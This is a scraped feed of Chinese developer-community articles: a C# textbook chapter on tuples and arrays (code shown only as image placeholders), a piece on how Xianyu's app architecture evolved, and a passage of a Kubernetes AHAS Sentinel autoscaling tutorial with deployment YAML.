        将null赋给值类型,这在数据库编程中尤其有用。在数据表中,经常出现值类型的列允许为空的情况。除非允许包含null值,否则在C#代码中检索这些列并将它们的值赋给对应字段会出问题。可空修饰符能妥善解决该问题。
        隐式类型的局部变量
        C# 3.0新增上下文关键字var来声明隐式类型的局部变量。声明变量时,如果能用确定类型的表达式初始化它,C# 3.0及以后的版本就允许变量的数据类型为“隐式的”,无须显式声明,如代码清单3.2所示。

        image.png

        上述代码清单和代码清单2.18相比有两处不同。首先,不显式声明为string类型,而是声明为var。最终的CIL代码没有区别。但var告诉编译器根据声明时所赋的值(System.Console.ReadLine())来推断数据类型。
        其次,text和uppercase变量都在声明时初始化。不这样做会造成编译时错误。如前所述,编译器判断初始化表达式的数据类型并相应地声明变量,就好像程序员显式指定了类型。
        虽然允许用var取代显式数据类型,但在数据类型已知的情况下最好不要用var。例如,还是应该将text和uppercase声明为string。这不仅可使代码更易理解,还相当于你亲自确认了等号右侧表达式返回的是你希望的数据类型。使用var变量时,右侧数据类型应显而易见,否则应避免用var声明变量。

        image.png

        image.png

        高级主题:匿名类型
        C# 3.0添加var的真正目的是支持匿名类型。匿名类型是在方法内部动态声明的数据类型,而不是通过显式的类定义来声明,如代码清单3.3所示。(第15章会深入讨论匿名类型。)

        image.png

        输出3.1展示了结果。
        输出3.1

        image.png

        代码清单3.3演示了如何将匿名类型的值赋给隐式类型(var)局部变量。C# 3.0支持连接(关联)数据类型或将特定类型的大小缩减至更少数据元素,所以才配合设计了这种操作。但自从C# 7.0引入元组语法后,匿名类型几乎就用不着了。

        3.3 元组

        有时需要合并数据元素。例如,2017年全球最贫穷的国家是首都位于Lilongwe(利隆圭)的Malawi(马拉维),人均GDP 为226.50美元。利用目前讲过的编程构造,可将上述每个数据元素存储到单独的变量中,但它们相互无关联。换言之,看不出226.50和Malawi有什么联系。为解决该问题,第一个方案是在变量名中使用统一的后缀或前缀,第二个方案是将所有数据合并到一个字符串中,但缺点是需要解析字符串才能处理单独的数据元素。
        C# 7.0提供了第三个方案:元组(tuple),允许在一个语句中完成所有变量的赋值,如下所示:

        image.png

        表3.1总结了元组的其他语法形式。

        image.png
        image.png

        前四个例子虽然右侧是元组,但左侧仍然是单独的变量,只是用元组语法一起赋值。在这种语法中,两个或更多元素以逗号分隔,放到一对圆括号中进行组合。(我使用“元组语法”一词是因为编译器为左侧生成的基础数据类型技术上说并非元组。)结果是虽然右侧的值合并成元组,但在向左侧赋值的过程中,元组已被解构为它的组成部分。例2左边被赋值的变量是事先声明好的,但例1、3和4的变量是在元组语法中声明的。由于只是声明变量,所以命名和大小写应遵循第1章的设计规范,例如有一条是“要为局部变量使用camelCase风格命名。”
        虽然隐式类型(var)在例4中用元组语法平均分配给每个变量声明,但这里的var绝不可以替换成显式类型(如string)。元组宗旨是允许每一项都有不同数据类型,所以为每一项都指定同一个显式类型名称跟这个宗旨冲突(即使类型真的一样,编译器也不允许指定显式类型)。
        例5在左侧声明一个元组,将右侧的元组赋给它。注意元组含具名项,随后可引用这些名称来获取右侧元组中的值。这正是能在System.Console.WriteLine语句中使用countryInfo.Name、countryInfo.Capital和countryInfo.GdpPerCapita语法的原因。在左侧声明元组造成多个变量组合到单个元组变量(countryInfo)中。然后可利用元组变量来访问其组成部分。如第4章所述,这样的设计允许将该元组变量传给其他方法。那些方法能轻松访问元组中的项。
        前面说过,用元组语法定义的变量应遵守camelCase大小写规则。但该规则并未得到彻底贯彻。有人提倡当元组的行为和参数相似时(类似于元组语法出现之前用于返回多个值的out参数),这些名称应使用参数命名规则。
        另一个方案是PascalCase大小写,这是类型成员(属性、函数和公共字段,参见第5章和第6章的讨论)的命名规范。个人强烈推荐PascalCase规范,从而和C#/.NET成员标识符的大小写规范一致。但由于这并不是被广泛接受的规范,所以我在设计规范“考虑为所有元组项名称使用PascalCase大小写风格”中使用“考虑”而非“要”一词,

        image.png

        例6提供和例5一样的功能,只是右侧元组使用了具名元组项,左侧使用了隐式类型声明。但元组项名称会传入隐式类型变量,所以WriteLine语句仍可使用它们。当然,左侧可使用和右侧不同的元组项名称。C#编译器允许这样做但会显示警告,指出右侧元组项名称会被忽略,因为此时左侧的优先。不指定元组项名称,被赋值的元组变量中的单独元素仍可访问,只是名称是Item1,Item2,...,如例7所示。事实上,即便提供了自定义名称,ItemX名称始终都能使用,如例8所示。但在使用Visual Studio这样的IDE工具时,ItemX属性不会出现在“智能感知”的下拉列表中。这是好事,因为自己提供的名称理论上应该更好。如例9所示,可用下划线丢弃部分元组项的赋值,这称为弃元(discard)。
        例10展示的元组项名称推断功能是自C# 7.1引入的。如本例所示,元组项名称可根据变量名(甚至属性名)来推断。
        元组是在对象中封装数据的轻量级方案,有点像你用来装杂货的购物袋。和稍后讨论的数组不同,元组项的数据类型可以不一样,没有限制,只是它们由编译器决定,不能在运行时改变。另外,元组项数量也是在编译时硬编码好的。最后,不能为元组添加自定义行为(扩展方法不在此列)。如需和封装数据关联的行为,应使用面向对象编程并定义一个类,具体在第6章讲述。
        高级主题:System.ValueTuple<...>类型
        在表3.1的示例中,C#为赋值操作符右侧的所有元组实例生成的代码都基于一组泛型值类型(结构),例如System.ValueTuple。类似地,同一组System.ValueTuple<...>泛型值类型用于从例5开始的左侧数据类型。元组类型唯一包含的方法是跟比较和相等性测试有关的方法,这符合预期。
        既然自定义元组项名称及其类型没有包含在System.ValueTuple<...>定义中,为什么每个自定义元组项名称都好像是System.ValueTuple<...>类型的成员,并能以成员的形式访问呢?让人(尤其是那些熟悉匿名类型实现的人)惊讶的是,编译器根本没有为那些和自定义名称对应的“成员”生成底层CIL代码,但从C#的角度看,又似乎存在这样的成员。
        对于表3.1的所有具名元组例子,编译器在元组剩下的作用域中显然知道那些名称。事实上,编译器(和IDE)正是依赖该作用域通过项的名称来访问它们。换言之,编译器查找元组声明中的项名称,并允许代码访问还在作用域中的项。也正是因为这一点,IDE的“智能感知”不显示底层的ItemX成员。它们会被忽略,替换成显式命名的项。
        编译器能判断作用域中的元组项名称,这一点还好理解,但如果元组要对外公开,比如作为另一个程序集中的一个方法的参数或返回值使用(另一个程序集可能看不到你的源代码),那么会发生什么?其实对于作为API(公共或私有)一部分的所有元组,编译器都会以“特性”(attribute)的形式将元组项名称添加到成员元数据中。例如,代码清单3.4展示了编译器为以下方法生成的CIL代码的C#形式:

        image.png

        另外要注意,如显式使用System.ValueTuple<...>类型,C#就不允许使用自定义的元组项名称。所以表3.1的例8如果将var替换成该类型,编译器会警告所有项的名称被忽略。
        下面总结了和System.ValueTuple<...>有关的其他注意事项:

        • 共有8个泛型System.ValueTuple<...>。前7个最大支持七元组。第8个是System.ValueTuple,可为最后一个类型参数指定另一个ValueTuple,从而支持n元组。例如,编译器自动为8个参数的元组生成System.ValueTuple>作为底层实现类型。System.Value的存在只是为了补全,很少使用,因为C#元组语法要求至少两项。
        • 有一个非泛型System.ValueTuple类型作为元组工厂使用,提供了和所有ValueTuple元数对应的Create()方法。C# 7.0以后基本用不着Create()方法,因为像var t1 = ("Inigo Montoya", 42)这样的元组字面值实在太好用了。

        C#程序员实际编程时完全可以忽略System.ValueTuple和System.ValueTuple。
        还有一个元组类型是Microsoft .NET Framework 4.5引入的System.Tuple<...>。当时是想把它打造成核心元组实现。但在C#中引入元组语法时才意识到值类型更佳,所以量身定制了System.ValueTuple<...>,它在所有情况下都代替了System.Tuple<...>(除非要向后兼容依赖System.Tuple<...>的遗留API)。

        3.4 数组

        第1章没有提到的一种特殊的变量声明就是数组声明。利用数组声明,可在单个变量中存储同一种类型的多个数据项,而且可利用索引来单独访问这些数据项。C#的数组索引从零开始,所以我们说C#数组基于零。
        初学者主题:数组
        可用数组变量声明同类型多个数据项的集合。每一项都用名为索引的整数值进行唯一性标识。C#数组的第一个数据项使用索引0访问。由于索引基于零,应确保最大索引值比数组中的数据项总数小1。
        初学者可将索引想象成偏移量。第一项距数组开头的偏移量是0,第二项偏移量是1,以此类推。
        数组是几乎所有编程语言的基本组成部分,所有开发人员都应学习。虽然C#编程经常用到数组,初学者也确实应该掌握,但大多数程序现在都用泛型集合类型而非数组来存储数据集合。如只是为了熟悉数组的实例化和赋值,可略读下一节。表3.2列出了要注意的重点。泛型集合在第15章详细讲述。
        此外,3.4.5节还会讲到数组的一些特点。

        image.png
        image.png

        3.4.1 数组的声明

        C#用方括号声明数组变量。首先指定数组元素的类型,后跟一对方括号,再输入变量名。代码清单3.5声明字符串数组变量languages。

        image.png

        显然,数组声明的第一部分标识了数组中存储的元素的类型。作为声明的一部分,方括号指定了数组的秩(rank),或者说维数。本例声明一维数组。类型和维数构成了languages变量的数据类型。

        image.png

        代码清单3.5定义的是一维数组。方括号中的逗号用于定义额外的维。例如,代码清单3.6为井字棋(tic-tac-toe)棋盘定义了一个二维数组。

        image.png

        代码清单3.6定义了一个二维数组。第一维对应从左到右的单元格,第二维对应从上到下的单元格。可用更多逗号定义更多维,数组总维数等于逗号数加1。注意某一维上的元素数量不是变量声明的一部分。这是在创建(实例化)数组并为每个元素分配内存空间时指定的。

        3.4.2 数组实例化和赋值

        声明数组后,可在一对大括号中使用以逗号分隔的数据项列表来填充它的值。代码清单3.7声明一个字符串数组,将一对大括号中的9种语言名称赋给它。

        image.png

        列表第一项成为数组的第一个元素,第二项成为第二个,以此类推。我们用大括号定义数组字面值。
        只有在同一个语句中声明并赋值,才能使用代码清单3.7的赋值语法。声明后在其他地方赋值则需使用new关键字,如代码清单3.8所示。

        image.png

        自C# 3.0起不必在new后指定数组类型(string)。编译器能根据初始化列表中的数据类型推断数组类型。但方括号仍不可缺少。
        C#支持将new关键字作为声明语句的一部分,所以可以像代码清单3.9那样在声明时赋值。

        new关键字的作用是指示“运行时”为数据类型分配内存,即指示它实例化数据类型(本例是数组)。
        数组赋值时只要使用了new关键字,就可在方括号内指定数组大小,如代码清单3.10所示。

        image.png

        指定的数组大小必须和大括号中的元素数量匹配。另外,也可分配数组但不提供初始值,如代码清单3.11所示。

        image.png

        分配数组但不指定初始值,“运行时”会将每个元素初始化为它们的默认值,如下所示:

        • 引用类型(比如string)初始化为null;
        • 数值类型初始化为0;
        • bool初始化为false;
        • char初始化为0。

        非基元值类型以递归方式初始化,每个字段都被初始化为默认值。所以,其实并不需要在使用数组前初始化它的所有元素。

        image.png

        由于数组大小不需要作为变量声明的一部分,所以可以在运行时指定数组大小。例如,代码清单3.12根据在Console.ReadLine()调用中用户指定的大小创建数组。

        image.png

        C#以类似的方式处理多维数组。每一维的大小以逗号分隔。代码清单3.13初始化一个没有开始走棋的井字棋棋盘。

        image.png

        还可以像代码清单3.14那样,将井字棋棋盘初始化成特定的棋子布局。

        image.png

        数组包含三个int[]类型的元素,每个元素大小一样(本例中凑巧也是3)。注意每个int[]元素的大小必须完全一样。也就是说,像代码清单3.15那样的声明是无效的。

        image.png

        表示棋盘并不需要在每个位置都使用整数。另一个办法是为每个玩家都单独提供虚拟棋盘,每个棋盘都包含一个bool来指出玩家选择的位置。代码清单3.16对应于一个三维棋盘。

        image.png

        本例初始化棋盘并显式指定每一维的大小。new表达式除了指定大小,还提供了数组的字面值。bool[,,]类型的字面值被分解成两个bool[,]类型的二维数组(大小均为3×3)。每个二维数组都由三个bool数组(大小为3)构成。
        如前所述,多维数组(这种普通多维数组也称为“矩形数组”)每一维的大小必须一致。还可定义交错数组(jagged array),也就是由数组构成的数组。交错数组的语法稍微有别于多维数组,而且交错数组不需要具有一致的大小。所以,可以像代码清单3.17那样初始化交错数组。

        image.png

        交错数组不用逗号标识新维。相反,交错数组定义由数组构成的数组。代码清单3.17在int[]后添加[],表明数组元素是int[]类型的数组。
        注意,交错数组要求为内部的每个数组都创建数组实例。这个例子使用new实例化交错数组的内部元素。遗失这个实例化部分会造成编译时错误。

        3.4.3 数组的使用

        使用方括号(称为数组访问符)访问数组元素。为获取第一个元素,要指定0作为索引。代码清单3.18将languages变量中的第5个元素(索引4)的值存储到变量language中。

        image.png

        还可用方括号语法将数据存储到数组中。代码清单3.19交换了"C++"和"Java"的顺序。

        image.png
        image.png

        多维数组的元素用每一个维的索引来标识,如代码清单3.20所示。

        image.png

        交错数组元素的赋值稍有不同,这是因为它必须与交错数组的声明一致。第一个索引指定“由数组构成的数组”中的一个数组。第二个索引指定是该数组中的哪一项(参见代码清单3.21)。

        image.png

        1. 长度
        像代码清单3.22那样获取数组长度。

        image.png

        数组长度固定,除非重新创建数组,否则不能随便更改。此外,越过数组的边界(或长度)会造成“运行时”报错。用无效索引(指向的元素不存在)来访问(检索或者赋值)数组时就会发生这种情况。例如在代码清单3.23中,用数组长度作为索引来访问数组就会出错。

        image.png

        image.png

        一个好的实践是用Length取代硬编码的数组大小。例如,代码清单3.24修改了上个代码清单,在索引中使用了Length(减1获得最后一个元素的索引)。

        image.png

        为避免越界,应使用长度检查来验证数组长度大于0。访问数组最后一项时,要像代码清单3.24那样使用Length-1而不是硬编码的值。
        Length返回数组中元素的总数。因此,如果你有一个多维数组,比如大小为2×3×3的bool cells[,,]数组,那么Length会返回元素总数18。
        对于交错数组,Length返回外部数组的元素数—交错数组是“数组构成的数组”,所以Length只作用于外部数组,只统计它的元素数(也就是具体由多少个数组构成),而不管各内部数组共包含了多少个元素。
        2. 更多数组方法
        数组提供了更多方法来操作数组中的元素,其中包括Sort()、BinarySearch()、Reverse()和Clear()等,如代码清单3.25所示。

        image.png
        image.png

        输出3.2展示了结果。
        输出3.2

        image.png

        这些方法通过System.Array类提供。大多数都一目了然,但注意以下两点。

        • 使用BinarySearch()方法前要先对数组进行排序。如果值不按升序排序,会返回不正确的索引。目标元素不存在会返回负值,在这种情况下,可应用按位求补运算符~index返回比目标元素大的第一个元素的索引(如果有的话)。
        • Clear()方法不删除数组元素,不将长度设为零。数组大小固定,不能修改。所以Clear()方法将每个元素都设为其默认值(false、0或null)。这解释了在调用Clear()之后输出数组时,Console.WriteLine()为什么会创建一个空行。

        image.png

        3. 数组实例方法
        类似于字符串,数组也有不从数据类型而是从变量访问的实例成员。Length就是一个例子,它通过数组变量来访问,而非通过类。其他常用实例成员还有GetLength()、Rank和Clone()。
        获取特定维的长度不是用Length属性,而是用数组的GetLength()实例方法,调用时需指定返回哪一维的长度,如代码清单3.26所示。

        image.png

        结果如输出3.3所示。
        输出3.3

        image.png

        输出2,这是第一维的元素个数。
        还可访问数组的Rank成员获取整个数组的维数。例如,cells.Rank返回3。
        将一个数组变量赋给另一个默认只拷贝数组引用,而不是数组中单独的元素。要创建数组的全新拷贝需使用数组的Clone()方法。该方法返回数组拷贝,修改新数组不会影响原始数组。

        3.4.4 字符串作为数组使用

        访问string类型的变量类似于访问字符数组。例如,可调用palindrome[3]获取palindrome字符串的第4个字符。注意由于字符串不可变,所以不能向字符串中的特定位置赋值。所以,对于palindrome字符串来说,在C#中不允许string,palindrome[3]='a'这样的写法。代码清单3.27使用数组访问符判断命令行上的参数是不是选项(选项的第一个字符是短划线)。

        image.png

        上述代码使用了要在第4章讲述的if语句。注意第一个数组访问符[]获取字符串数组args的第一个元素,第二个数组访问符则获取该字符串的第一个字符。上述代码等价于代码清单3.28。

        image.png

        不仅可用数组访问符单独访问字符串中的字符,还可使用字符串的ToCharArray()方法将整个字符串作为字符数组返回,再用System.Array.Reverse()方法反转数组中的元素,如代码清单3.29所示,该程序判断字符串是不是回文。

        image.png
        image.png

        输出3.4展示了结果。
        输出3.4

        image.png

        这个例子使用new关键字根据反转好的字符数组创建新字符串。

        3.4.5 常见数组错误

        前面描述了三种不同类型的数组:一维、多维和交错。一些规则和特点约束着数组的声明和使用。表3.3总结了一些常见错误,有助于巩固对这些规则的了解。阅读时最好先看“常见错误”一栏的代码(先不要看错误说明和改正后的代码),看自己是否能发现错误,检查你对数组及其语法的理解。

        image.png
        image.png

        3.5 小结

        本章首先讨论了两种不同的类型:值类型和引用类型。它们是C#程序员必须理解的基本概念,虽然读代码时可能看不太出来,但它们改变了类型的底层机制。
        讨论数组前先讨论了两种语言构造。首先讨论了C# 2.0引入的可空修饰符(?),它允许值类型存储空值。然后讨论了元组,并介绍如何用C# 7.0引入的新语法处理元组,同时不必显式地和底层数据类型打交道。
        最后讨论了C#数组语法,并介绍了各种数组处理方式。许多开发者刚开始不容易熟练掌握这些语法。所以提供了一个常见错误列表,专门列出与数组编码有关的错误。
        下一章讨论表达式和控制流程语句。本章最后出现过几次的if语句会一并讨论。

        ]]>
        从0到千万DAU,这5年闲鱼架构如何演进?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 image
        阿里妹导读:闲鱼品牌创立于14年阿里的某个茶水间,从0开始到现在千万DAU,5年时间里闲鱼见证了闲置物品从线下到线上交易的转移。而线上交易的繁荣,则需要业务架构做相应的调整、演进才能支撑业务的快速发展。本文主要通过介绍闲鱼从0发展到千万级DAU应用的不同阶段的业务特点、核心问题以及针对性的架构演进,来阐述业务架构的演进思路与心得。

        闲鱼业务背景

        技术架构的演进跟业务形态都是强相关的,闲鱼的市场本质以及用户特点如下描述:

        image

        闲鱼是一个高性价比的二手交易市场。相比新品市场,二手市场的市场空间就是"用户在付出相同成本条件下有可能获取到更高的物品价值”,典型的比如"游戏卡带、乐高"等这些功能型的产品。同时,闲置市场也有着特殊存在的成本——信任成本,信任成本主要体现在:大部分二手可能没有售后服务;每个人对二手物品残值有着自己的主观评价。

        扩大市场空间有两种方式:

        • 降低新人成本
        • 提升匹配效率

        image

        闲鱼与手淘差异性:

        • 闲鱼与手淘的卖家差异:非专业的个人卖家,利益驱动弱。
        • 发布产品差异:为保证市场供给,只能坚持轻发布。
        • 商品差异:结构化信息少,没有历史累计行为。

        image

        闲鱼与手淘在业务、团队结构的差异性导致架构上不同的关注点,导致不同的演进路线。

        架构演进——试错期

        image

        架构随着业务阶段不断演进,每个阶段都有核心的问题:

        • 试错期业务核心问题:业务不断探索适合的商业模式;
        • 架构核心关注点:提升响应速度,快速支持业务上线;
        • 架构核心原则:以质量换取速度,可以牺牲一点线上质量(业务可接受范围)来换取更快的响应速度。

        App发版速度(尤其是IOS)跟不上业务快速迭代的上线周期,动态性是端面临的主要问题,因此端上采用了Hybrid的架构:

        • URL Router:所有请求路由到一个H5的链接,通过URI Schema重定向到真正页面,如果对应的native没有开发出来,就用H5版本来实现,解决安卓与IOS不同步的问题。
        • 开关中心:通过开关控制页面路由,页面入口是否开启,分版本控制,参数变更等改动。
        • Poplayer:无需发版的情况下在已有的Native界面上弹出H5的部署容器,来满足运营随时创建活动并需要一个活动入口的需求。

        架构演进——发展期

        image

        发展期业务与架构核心问题:

        • 业务核心问题:隐约看到商业模式,需要加速验证,扩大规模。
        • 架构关注点:提升效率(为了有机会去做更多事情,非降低整体成本),建设更多能力验证业务方向。
        • 架构演进方向:前后端的协议、工具的自动化。
          服务端通过Mbaas(服务端提供基础的数据源(商品、用户、搜索、互动),让客户端/前端通过类SQL的描述一次性获取自己想要的数据,后端不需要增加接口)来实现活动、feeds投放的自动化。将更多精力投入到本地化、个性化、数据能力(与算法、推荐、搜索打通)的建设中。

        image

        客户端开发关注两个点:

        • 对外整体连接协议的梳理,在容器这端演化成Service Bus(类似服务端的ESB),对具体的实现进行封装,以方便后续基础能力的可替换。
        • 组件库的建立,新做一个页面的时候,能通过现有的UI组件进行简单组装,不需要从0开始搭建。组件与服务端打通,组件组装逻辑与数据直接由服务端完成,客户端负责解析与渲染。

        因此这个时期客户端更多的工作是支持交互的基础的UI组件和动态适配性。

        架构演进——平台期

        image

        随着业务的发展,闲鱼基于商品体系的业务达到十几种,逐渐向平台期发展。平台期业务与架构核心问题:

        • 业务核心问题:需要让更多的二方、三方参与到共享经济平台的建设中,但是平台生态建设又超出了闲鱼自身的能力。
        • 架构核心关注点:扩展性(具备接入业务的能力)、业务隔离(已接入业务平稳运行)、平台基础能力建设(业务更好的发展)。
        • 架构原则:做一些更基础的规划,然后把更多的可能性、动态性留给二方或者三方完成。

        业务隔离框架SWAK

        image

        核心解决因业务发展带来的代码耦合问题,问题主要体现在整体开发、运维效率低,稳定性差。核心思路是分离系统中不可变和可变的部分;分离出”做什么”与”怎么做”、“谁去做”。

        将业务中不变的部分放入主干,定义出做什么;变化的部分以扩展点形式开放出来,让具体的业务放自己来实现,完成怎么做,谁去做。Swak的扩展点实现支持远程调用,可以让业务实现应用级别的隔离,相比传统的分包、分模块隔离方式更加彻底。

        当前,闲鱼商品主链路完成基于Swak的升级。下面是一个闲鱼币个性化业务的代码案例:

        image

        平台通用能力

        image

        平台必须提供一些通用能力更好的支持业务发展:

        • 实时选品投放能力——马赫:解决因闲鱼商品特性(结构化信息少,新品成交占比高)导致传统离线选品转换率差的问题。
        • 实时线上故障定位能力——神探:解决类闲鱼规模系统因依赖多、场景多,导致线上问题频发、问题定位投入成本高的问题。核心思路是对系统每一次错误的请求链路进行实时采集、分析、聚合再可视化展现,将整体故障定位过程变成自动化。

        架构演进——云端一体化

        背景

        image

        随着无线发展,移动研发逐渐向多端化发展(IOT、小程序)。传统的基于Native+Web+服务端的开发方式,逐渐出现瓶颈,我们会发现例如:

        • 端上同学离业务越来越远,服务端同学没时间做底层领域沉淀。
        • 各端研发之间存在大量的协同, 整体研发效率低下。
        • 招人也难了,需要同时招多个技术栈的同学;

        在这种背景下, 我们的关注点回到研发效率上,从整体研发架构、研发模式出发, 思考什么样的架构演进、关系重塑才能适合当前的业务形态。我们希望探索出适合“ 闲鱼这样规模的具有独立APP” 的高效研发架构,形成云端一体化的研发能力,支持一云多端的发展。

        演进步骤

        image

        朝着云端一体化的方向,架构的升级大概分成3个步骤:

        1. 端上用Flutter实现了两端(IOS、Android)统一。无线发展了现在,跨平台的需求已经非常强烈,团队招聘需要考虑 Android,IOS配比、一个业务需要在两端都写一次, 考虑双端逻辑一致、测试要测两遍。所以跨平台的方案能非常直接有效的降低研发成本,解决资源均衡的问题。
        2. Flutter+dart实现了三端(IOS、Android、服务端)技术栈统一。端上统一了,再通过云端技术栈的打通来减少云端的协同。参考前端+Node.js的方案,闲鱼服务端用dart(Flutter也是dart语言)替换Java,作为服务端server的语言。
        3. Flutter+ Faas(dart runtime)+Nexus。技术栈统一了,人员还不能互补,最新闲鱼将Dart容器嵌入到Faas容器中,配合跨云端的一体化业务研发框架Nexus,进行了一体化的研发模式的探索,使得一个研发人员能从端到服务端完成整个业务的闭环。

        端侧方案选择

        image

        架构方案的选择,可能造成巨大并且长远的影响。在架构的演进中,我们要善于定义问题,然后通过不断迭代来解决问题,最后才能形成适合自己业务特性的架构。

        闲鱼也是一样,所谓没有银弹的解决方案,在跨平台方案的选型中,充分对比了Flutter与RN的差异性,优缺点。闲鱼认为"跨平台与高性能是我们当前的核心诉求”,再结合团队内native技术栈的同学较多这个因素,我们最终选择了Flutter作为跨端解决方案。

        云端协同

        image

        Flutter两端统一后,会发现客户端与服务端虽然都在做同一个业务,不仅技术栈没有统一,而且存在着大量协同的工作,同时端、云的同学仍然无法真正互补和一体化打通。

        因此,我们开始思考是否能有一体的架构,能让一个同学可以Cover一个云到端的完整业务,形成业务闭环。

        这不仅仅是效率的提升,更能为业务开发同学带来更大的成长空间,可以完整的和专注的思考业务。

        关键问题及解法

        image

        我们梳理了需要解决的关键问题:

        • 如何消除云端技术壁垒?首先要统一技术栈,其次端同学对云的思维模式、知识储备上的差异,需要有办法消除。
        • 如何使工作总量减少 ( 1+1<2 )?一体化下需要使总工作量降低,不是简单的进行工作量转移。
        • 如何促进生产关系重塑?生产力发生变化,需要建立新的生产关系。

        面向这些问题,闲鱼的解法思路:

        • 统一技术栈:Dart具备服务端语言特点,强类型,支持异步与并发,甚至更快的启动速度,因此作为服务端的server完全没有问题。Dart落地过程中更多的解决的是生态的问题(阿里的大部分生态都是基于java来建设的,例如中间件、消息、远程调用)。我们主要通过通过C++扩展、SideCar方式做桥接,Service Mesh来解决。
        • 云端差异抹平:通过Faas , Baas等无服务器能力的建设, 抹平除写代码外的其他差异性(运维、故障定位等),使得客户端同学能写服务端;通过UI2Code(根据图片生成UI代码),页面代码模板化(页面容器,数据管理)使得服务端写客户端。
        • 一体化总体效率提升:以往的架构是云、端分开架构的,一体化后下沉跨云端的研发框架Nexus,通过框架、工程体系的支持,消除协议层,重新定义UI与逻辑分层,带来了总工作量1+1<2。
        • 关系重塑:领域下沉能让原来服务端同学更加专注领域建设,使领域层更加稳定,让业务层与领域层的变化比例,从当前的2:1,提高到5:1 甚至更高。让大家的关注点都集中在自己的范围内。

        业务落地及收益

        image

        目前一体化的研发模式已经在闲鱼多个场景落地,以下单页的改造举例:

        改造前:

        • 下单页有着复杂的渲染、交互逻辑,之前大部分逻辑都是在端上,需要两个客户端+一个服务端的同学来维护。

        改造后:

        • 资源均衡:将客户端界面从 IOS、Android两端统一成了Flutter,后续只需要一个同学维护即可(原来需要两个开发人员),也不会出现逻辑不一致的情况。
        • 协同效率提升:端上由两端协同提升到无需协同,云端由接口协议约定演化成现阶段的一体化协议,未来可将协议下沉到框架实现云端无接口约定。
        • 业务闭环&人员成长:原来云端分离的业务逻辑全部下沉到了Faas(Dart),将原来分散在端与服务端的逻辑进行归一,有机会做更多的规划建设,同时也是端的同一个同学来维护,给这个端的同学带来更大的成长空间。
        • 领域专注:Faas层调用底层领域服务来完成自己的业务,原来服务端的同学更多投入到交易能力的建设上。
        • 框架下沉:跨云端业务研发框架Nexus:寓意着能将客户端与服务端连接在一起。核心思想就是将UI与逻辑分离,框架限定了端上只负责UI与状态的存储,所有的逻辑都在Faas中完成。非常适合类似下单页的领域稳定的的场景。

        image

        如上案例所述,云端一体化能在多个方面带来收益,特别适合类似闲鱼规模具有独立APP的研发团队。

        说在最后

        image

        本文分别介绍了闲鱼从快速试错期→发展期→平台期→云端一体化的整体架构演进及过程中的思考。对核心问题的定义,以及做的具体演进。

        我们会发现,架构的演化总是优于一步到位,没有一个大而全或者特效的方法可以一直提升系统效率。软件工程是一个超级复杂的系统,尤其是业务架构,需要随着业务随时变化。明确当前业务特点和核心问题才是设计的根本,不符合业务的架构再领先也没用。相信所有架构师都有这样的体会。

        原文发布时间为:2019-11-5
        作者: 扬羽
        本文来自云栖社区合作伙伴“阿里技术”,了解相关信息可以关注“阿里技术”。

        ]]>
        容器服务&&AHAS Sentinel 弹性 Demo-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 应用高可用服务 AHAS(Application High Availability Service)是一款阿里云应用高可用服务相关产品。只要容器服务中的 Java 应用接入了 AHAS 应用流控组件后,用户的应用实例就可以自动根据 AHAS Sentinel 收集的指标(如 QPS、平均响应时间等)进行弹性伸缩,使得系统可以自动根据实时的流量情况进行扩缩容,保证系统的可用性。

        0. 安装 alibaba-cloud-metrics-adapter

        可以直接在容器服务控制台 应用目录 中安装 alibaba-cloud-metrics-adapter。

        1572500649423-2884150b-aece-4c7f-88b0-f1c6ae223ea3.png

        相关 repo:https://github.com/AliyunContainerService/alibaba-cloud-metrics-adapter

        1. 安装 AHAS Sentinel Pilot

        AHAS Sentinel 应用流控 pilot 插件可以自动将 AHAS Sentinel 注入到用户的 Java 应用中,用户无需修改任何代码,就能借助 AHAS 对 Java 应用进行全方位进行系统防护,方便针对系统进行流量管控、服务降级等操作。为了方便演示,我们首先安装 AHAS 应用流控组件 ack-ahas-sentinel-pilot。

        登录容器服务 Kubernetes 版控制台,在左侧导航栏选择 市场 > 应用目录,在右侧选中 ack-ahas-sentinel-pilot。在应用目录 - ack-ahas-sentinel-pilot 页面上,在右侧的创建面板中选择前提条件中创建的集群和命名空间,并单击创建。

        1572500649423-2884150b-aece-4c7f-88b0-f1c6ae223ea3.png

        2. 启动 Java 应用

        安装好 ack-ahas-sentinel-pilot 以后,我们可以拉起一个 Java 应用示例,对应的 ConfigMap/Deployment/Service 如下:

        apiVersion: v1
        kind: ConfigMap
        metadata:
          name: foo-service-cm-pilot
        data:
          application.yaml: |
            spring:
              application:
                name: foo-service
            server:
              port: 8700
            eureka:
              instance:
                preferIpAddress: true
              client:
                enabled: false
            logging:
              file: /foo-service/logs/application.log
        ---
        apiVersion: apps/v1
        kind: Deployment
        metadata:
          name: agent-foo-on-pilot
          labels:
            name: agent-foo-on-pilot
        spec:
          replicas: 1
          selector:
            matchLabels:
              name: agent-foo-on-pilot
          template:
            metadata:
              labels:
                name: agent-foo-on-pilot
              annotations:
                ahasAppName: "foo-service-on-pilot"
                ahasNamespace: "default"
            spec:
              containers:
                - name: master
                  image: registry.cn-hangzhou.aliyuncs.com/sentinel-docker-repo/foo-service:latest
                  imagePullPolicy: Always
                  ports:
                    - containerPort: 8700
                  volumeMounts:
                    - name: foo-service-logs
                      mountPath: /foo-service/logs
                    - name: foo-service-config
                      mountPath: /foo-service/config
                  resources:
                    limits:
                      cpu: "0.5"
                      memory: 500Mi
                    requests:
                      cpu: "0.5"
                      memory: 500Mi
              volumes:
                - name: foo-service-logs
                  emptyDir: {}
                - name: foo-service-config
                  configMap:
                    name: foo-service-cm-pilot
                    items:
                      - key: application.yaml
                        path: application.yml
        ---
        apiVersion: v1
        kind: Service
        metadata:
          name: foo-service
          labels:
            name: foo-service
        spec:
          ports:
          - port: 80
            targetPort: 8700
          selector:
            name: foo-service
          type: LoadBalancer
          externalTrafficPolicy: Local

        我们在对应的 Deployment 的 template > metadata > annotation 中配置了 AHAS 应用名称(ahasAppName)和命名空间(ahasNamespace),部署后该应用会显示在 AHAS 流控降级控制台 对应 region 的应用列表中:

        1571020560431-71fb4939-9f25-4a0f-b8a9-bdc0d4897aad.png

        我们可以通过 SLB 对外暴露的 external IP 来访问该 Web 服务。可以在 容器服务控制台 - 服务 中拿到该 Service 对应的 external IP(或者通过 kubectl get services):

        external-service-ip.png

        该示例外部应用提供一个 /foo/time API,返回当前时间戳。我们可以访问该 API 来调用该服务,比如 http://121.196.243.208/foo/time

